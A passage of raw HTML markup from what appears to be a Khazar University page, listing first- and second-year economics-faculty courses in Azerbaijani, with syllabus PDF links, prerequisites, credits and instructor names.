10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_Foundations_1_Leyla_Rahimova.pdf\">İngilis dilinin əsasları-1&nbsp;(B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;8</td><td>&nbsp;Leyla Rəhimova</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">3</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ENGL 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_Foundations_1_Nubar_Aghalarova.pdf\">İngilis dilinin əsasları-1&nbsp;(C)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;8</td><td>&nbsp;Nübar Ağalarova</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">4&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ENGL 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_Foundations_1_Saadat_F.pdf\">İngilis dilinin əsasları-1&nbsp;(D)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;8</td><td>&nbsp;Səadət Fərhadova  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">5</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;CMS 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\"><a href=\"http://www.khazar.org/files/eco_depart/Introduction_to_Computer_Sciences_Javidan%20Feyziyev.pdf\">&nbsp;İnformasiya kommunikasiya texnologiyaları (A</a>)</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Cavidan Feyziyev</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">6</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;CMS 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Introduction_to_Computer_Sciences_Javidan%20Feyziyev.pdf\">İnformasiya kommunikasiya texnologiyaları (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur &nbsp;<br style=\"box-sizing:border-box\"></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Cavidan Feyziyev  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">7</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;CMS 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_ICS_Lamiya_N.pdf\">İnformasiya kommunikasiya texnologiyaları (C)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Lamiyə Namazova</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">8</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;CMS 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_CS_Lyuda_S_Fall_2017.pdf\">İnformasiya kommunikasiya texnologiyaları (D)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Lyudmila Sotova</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">9</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;AZLL 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/letters/syllabus-2017-a-b.pdf\">Azərbaycan dili&nbsp;(A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Elza&nbsp;İsmayılova</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">10</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;AZLL 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/letters/syllabus-2017-a-b.pdf\">Azərbaycan dili (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Elza&nbsp;İsmayılova  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">11</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;AZLL 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/letters/syllabus-2017-c.pdf\">Azərbaycan dili (C)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Elza&nbsp;İsmayılova  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">12</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;AZH 150</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_Az_tarix_Ulviyya_I.pdf\">Azərbaycan tarixi&nbsp;(A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Ülviyyə İbrahimli</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">13</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;AZH 150</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_Az_tarix_Ulviyya_I.pdf\">Azərbaycan tarixi (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Ülviyyə İbrahimli  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">14</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;AZH 150</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_Azerbaycan_tarix_Roza_A.pdf\">Azərbaycan tarixi (C)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Roza Arazova</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">15</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 100/103</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Introduction_to_economy_%20Fuat_Rasulov.pdf\">İqtisadiyyata giriş</a> /<a href=\"http://www.khazar.org/files/eco_depart/Azerbaijan_Economy_Fuat_Rasulov_Az.pdf\">Azərbaycan iqtisadiyyatı (A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Fuat Rəsulov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">16</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 100/103</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Introduction_to_Economy-Shahriyar_Mukhtarov.pdf\">İqtisadiyyata giriş</a> /<a href=\"http://www.khazar.org/files/eco_depart/Azerbaijan_Economy_Shahriyar_Mukhtarov.pdf\">Azərbaycan iqtisadiyyatı (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Şəhriyar Muxtarov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">17</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 100/103</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Introduction_to_Economy_Fuat_Rasulov.pdf\">İqtisadiyyata giriş</a> /<a href=\"http://www.khazar.org/files/eco_depart/Azerbaijan_Economy_Fuat_Rasulov_Rus.pdf\">Azərbaycan iqtisadiyyatı (C)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Fuat Rəsulov  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td colspan=\"6\" style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br style=\"box-sizing:border-box\"></td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<span style=\"box-sizing:border-box;font-weight:bold\">2</span><span style=\"box-sizing:border-box;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media635941630991302\" width=\"150\" height=\"100\">-ci il</span></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td>&nbsp;</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">1</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ENGL 102</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_Foundation_English_2_Khayala_Fatullayeva.pdf\">İngilis dilinin əsasları-2</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ENGL 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;8</td><td>&nbsp;Xəyalə Fətullayeva</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">2</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ENGL 103</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_Academic_English_Shahriyar_M..pdf\">Akademik&nbsp;ingilis dili (A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ENGL 102</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;8</td><td>&nbsp;Şəhriyar Məmmədov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">3</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ENGL 103</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/letters/Academic_English_Diana_Gayibkhanova.pdf\">Akademik&nbsp;ingilis dili (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ENGL 102</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;8</td><td>&nbsp;Diana Qayıbxanova</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">4</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ENGL 103 &nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/letters/Academic_English_Minara_F_Economics.pdf\">Akademik&nbsp;ingilis dili (C)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ENGL 102</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;8</td><td>&nbsp;Minarə Fərzəliyeva</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">5</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ENGL 216</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_ESP_Shahriyar_M..pdf\">İxtisas peşə üçün ingilis dili</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ENGL 103</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Şəhriyar Məmmədov  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">6</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;FREN 201</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/French_Vafa_Bagirzada.pdf\">Fransız dili</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Vəfa Bağırzadə</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">7</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;GERM 201</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/German_2017_Sadaqat_Jumayeva.pdf\">Alman dili-1 (A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Sədaqət Cumayeva</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">8</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;GERM 201</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/German_2017_Sadaqat_Jumayeva.pdf\">Alman dili -1 (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Sədaqət Cumayeva  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">9&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;CHIN 201</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_Chinese-1_fall_2017.pdf\">Çin dili-1</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Li Ya</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">10</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MATH 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_Calculus_Sabina_S.pdf\">Riyazi analiz (A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Səbinə Sadıqova</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">11</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MATH 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_Calculus_Sabina_S.pdf\">Riyazi analiz (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Səbinə Sadıqova  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">12</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MATH 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_Calculus_Elvin_A.pdf\">Riyazi analiz (C)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Elvin Əzizbəyov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">13</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ACC 210</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/ACC210_Principles_of_Accounting_Elnur%20Ramazanov.pdf\">Mühasibat uçotunun əsasları (A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Elnur Ramazanov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">14&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ACC 210</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/ACC210_Principles_of_Accounting_Elnur%20Ramazanov.pdf\">Mühasibat uçotunun əsasları (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Elnur Ramazanov  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">15</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ACC 210</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a 